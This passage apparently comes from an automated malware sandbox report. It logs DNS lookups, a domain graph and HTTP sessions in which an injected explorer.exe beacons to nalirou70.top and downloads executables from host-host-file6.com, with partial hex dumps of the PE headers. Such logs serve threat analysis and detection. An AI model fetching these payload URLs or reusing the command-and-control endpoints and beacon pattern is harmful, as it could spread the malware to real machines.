Nov 9, 2021 22:21:30.179389954 CET	8.8.8.8	192.168.2.4	0x89e0	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:31.498986959 CET	8.8.8.8	192.168.2.4	0x66	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:32.834692001 CET	8.8.8.8	192.168.2.4	0x5cbf	No error (0)	host-host-file6.com	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:37.643862963 CET	8.8.8.8	192.168.2.4	0x69b	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:38.967904091 CET	8.8.8.8	192.168.2.4	0xf3e5	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:44.965086937 CET	8.8.8.8	192.168.2.4	0x95af	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:46.274498940 CET	8.8.8.8	192.168.2.4	0x1be	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:47.590293884 CET	8.8.8.8	192.168.2.4	0x12f7	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.290569067 CET	8.8.8.8	192.168.2.4	0xb21b	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.290569067 CET	8.8.8.8	192.168.2.4	0xb21b	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.290569067 CET	8.8.8.8	192.168.2.4	0xb21b	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.290569067 CET	8.8.8.8	192.168.2.4	0xb21b	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:48.290569067 CET	8.8.8.8	192.168.2.4	0xb21b	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:49.248229027 CET	8.8.8.8	192.168.2.4	0xf5d1	No error (0)	hajezey10.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:56.027358055 CET	8.8.8.8	192.168.2.4	0x67a4	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:57.353862047 CET	8.8.8.8	192.168.2.4	0xedc5	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:58.655211926 CET	8.8.8.8	192.168.2.4	0x66fc	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:21:59.979754925 CET	8.8.8.8	192.168.2.4	0xbbb2	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.295880079 CET	8.8.8.8	192.168.2.4	0xb296	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.295880079 CET	8.8.8.8	192.168.2.4	0xb296	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.295880079 CET	8.8.8.8	192.168.2.4	0xb296	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.295880079 CET	8.8.8.8	192.168.2.4	0xb296	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:01.295880079 CET	8.8.8.8	192.168.2.4	0xb296	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:03.194483042 CET	8.8.8.8	192.168.2.4	0x4146	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:04.496556997 CET	8.8.8.8	192.168.2.4	0x22c0	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:05.571943998 CET	8.8.8.8	192.168.2.4	0x54d1	No error (0)	nusurtal4f.net	45.141.84.21	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:05.816350937 CET	8.8.8.8	192.168.2.4	0xb7b9	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:07.109397888 CET	8.8.8.8	192.168.2.4	0xcf7f	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:08.442487001 CET	8.8.8.8	192.168.2.4	0xab01	No error (0)	nalirou70.top	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:10.184499979 CET	8.8.8.8	192.168.2.4	0xd4ce	No error (0)	host-host-file6.com	47.74.84.15	A (IP address)	IN (0x0001)
Nov 9, 2021 22:22:26.759207964 CET	8.8.8.8	192.168.2.4	0x80a6	No error (0)	escalivrouter.net	192.42.116.41	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

pstanat.net

nalirou70.top

xyauqxpv.com

privacytoolzforyou7000.top

ruebf.org

vhiaeb.net

jjvrsspwd.com

hjuvthale.net

vhupvvm.org

lnvjmhbadt.net

host-host-file6.com

ssyqxqlwo.com

ksjdtko.org

rjave.net

fkqdw.com

vhlqong.com

yvlvga.org

tqhblvfem.net

rykrbxyl.net

oaayoceae.org

ukalfymca.com

hajezey10.top

muqembbjlb.net

crrgldha.com

hbrlkj.net

lvejmcuwnq.net

rvlwdspfo.org

kcurrvlwmx.net

ykpbkuficw.com

bfwrlwg.net

umqsuuguwn.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49868	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49871	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49794	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:07.444571972 CET	1786	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vhupvvm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 252 Host: nalirou70.top
Nov 9, 2021 22:21:08.422864914 CET	1874	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49805	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:09.104881048 CET	2106	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lnvjmhbadt.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 273 Host: nalirou70.top
Nov 9, 2021 22:21:10.089358091 CET	2324	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 00 48 eb ac e3 1e bb 52 df 46 d2 f7 21 80 2a 80 ae 95 50 2a f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eHRF!P~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49813	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:10.422574043 CET	2330	OUT	GET /files/5675_1636449658_2701.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-host-file6.com
Nov 9, 2021 22:21:11.271085024 CET	2348	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:10 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Tue, 09 Nov 2021 09:20:58 GMT ETag: "2a16d8-5d057a09c5eba" Accept-Ranges: bytes Content-Length: 2758360 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 ae 4c 1d b2 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 18 03 00 00 8e 0a 00 00 00 00 00 08 10 48 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 6f 00 00 04 00 00 5e 9a 2a 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a c0 08 00 50 00 00 00 00 c0 69 00 6f 43 05 00 00 00 00 00 00 00 00 00 00 fe 29 00 d8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 20 03 00 00 20 00 00 00 90 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 68 4e 05 00 00 40 03 00 00 04 01 00 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 0c 00 00 00 00 a0 08 00 00 02 00 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 64 61 74 61 00 00 00 20 00 00 00 c0 08 00 00 02 00 00 00 9a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7e c2 a9 5c 31 38 34 37 00 20 00 00 00 e0 08 00 00 08 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 80 3e 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 fa 21 00 00 80 47 00 00 fa 21 00 00 a4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 7e c2 a9 5c 31 38 34 37 50 0c 00 00 00 80 69 00 00 0e 00 00 00 9e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 7e c2 a9 5c 31 38 34 37 50 0c 00 00 00 a0 69 00 00 0e 00 00 00 ac 24 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 6f 43 05 00 00 c0 69 00 00 44 05 00 00 ba 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL0H @@ o^*@:PioC) ` hN@@@ @@.idata @~\1847 @@.themida>`.boot!G!``~\1847Pi$ `~\1847Pi$ `.rsrcoCiD$@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49832	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:21.411899090 CET	7752	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ssyqxqlwo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 218 Host: nalirou70.top
Nov 9, 2021 22:21:22.409507036 CET	7753	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49833	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:22.799314022 CET	7754	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ksjdtko.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 210 Host: nalirou70.top
Nov 9, 2021 22:21:23.785218000 CET	7754	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49834	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:24.113164902 CET	7755	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rjave.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 145 Host: nalirou70.top
Nov 9, 2021 22:21:25.089201927 CET	7756	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 00 48 ec a9 e3 1e bb 52 df 41 df fb 2f 8c 20 80 ab 93 51 2e f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eHRA/ Q.~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49835	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:25.749810934 CET	7756	OUT	GET /files/5600_1636395892_7115.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-host-file6.com
Nov 9, 2021 22:21:26.603705883 CET	7758	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Mon, 08 Nov 2021 18:24:52 GMT ETag: "48000-5d04b1be8e47b" Accept-Ranges: bytes Content-Length: 294912 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d2 78 89 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 e2 00 00 00 9a 03 00 00 00 00 00 0a c0 04 00 00 c0 03 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 cc 03 00 53 00 00 00 00 a0 04 00 f6 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 08 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 48 00 00 00 00 00 00 00 00 00 00 00 29 45 57 68 67 1f 4e 46 20 8d 03 00 00 20 00 00 00 8e 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 34 de 00 00 00 c0 03 00 00 e0 00 00 00 92 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f6 09 00 00 00 a0 04 00 00 0a 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 c0 04 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 04 00 00 02 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELxa @ @(SH)EWhgNF @.text4 `.rsrcr@@\| `.reloc~@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49837	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:30.487577915 CET	8632	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fkqdw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 296 Host: nalirou70.top
Nov 9, 2021 22:21:31.471678972 CET	8634	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49838	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:31.801101923 CET	8634	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vhlqong.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 357 Host: nalirou70.top
Nov 9, 2021 22:21:32.782610893 CET	8635	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 04 4b ed af e3 1e bb 52 df 41 de fe 2e 8d 2a 80 aa 96 50 2b f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eKRA.*P+~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49839	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:33.137553930 CET	8636	OUT	GET /files/1516_1636380988_6400.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-host-file6.com
Nov 9, 2021 22:21:33.998820066 CET	8645	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Mon, 08 Nov 2021 14:16:28 GMT ETag: "39000-5d047a389ed49" Accept-Ranges: bytes Content-Length: 233472 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 